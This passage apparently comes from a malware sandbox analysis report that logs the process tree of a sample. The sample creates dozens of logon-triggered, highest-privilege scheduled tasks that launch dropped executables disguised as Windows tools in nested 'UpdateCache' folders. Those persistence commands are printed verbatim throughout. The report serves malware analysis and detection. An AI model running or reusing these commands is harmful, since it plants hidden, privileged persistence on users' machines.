  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\UpdateCache\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_raserver_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\raserver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5144
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_raserver_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\raserver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ROUTE_7" /tr ""C:\ProgramData\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ROUTE_7" /tr ""C:\ProgramData\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe
  "C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6040
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_1" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_1" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3372
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3648
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3464
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mshta_7" /tr ""C:\ProgramData\MicrosoftService\mshta.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mshta_7" /tr ""C:\ProgramData\MicrosoftService\mshta.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3740
- C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\fontview.exe
  "C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:5692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tttracer_1" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tttracer_1" /tr ""C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\UpdateCache\tttracer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AppVDllSurrogate_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\AppVDllSurrogate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AppVDllSurrogate_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\AppVDllSurrogate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3372
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CloudNotifications_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CloudNotifications_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wlanext_5" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wlanext_5" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_7" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5068
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_7" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4936
- C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\UpdateCache\tttracer.exe
  "C:\Users\Admin\AppData\Roaming\RegisterReceive\Logs\UpdateCache\UpdateCache\tttracer.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_1" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1036
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_1" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesAdvanced_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesAdvanced_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_3" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_3" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2840
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_choice_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\choice.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_choice_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\choice.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2404
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1484
- C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe
  "C:\Users\Admin\AppData\Roaming\EditExport\Logs\UpdateCache\recover.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesProtection_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesProtection.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesProtection_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemPropertiesProtection.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_agentactivationruntimestarter_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_agentactivationruntimestarter_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_5" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6040
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\wusa.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\wusa.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3032
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2312
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2876
- C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\InputSwitchToastHandler.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\InputSwitchToastHandler.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ExpandEnable_1" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3564
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2748
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_6" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_6" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2332
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2508
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3672
- C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe
  "C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\ExpandEnable.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
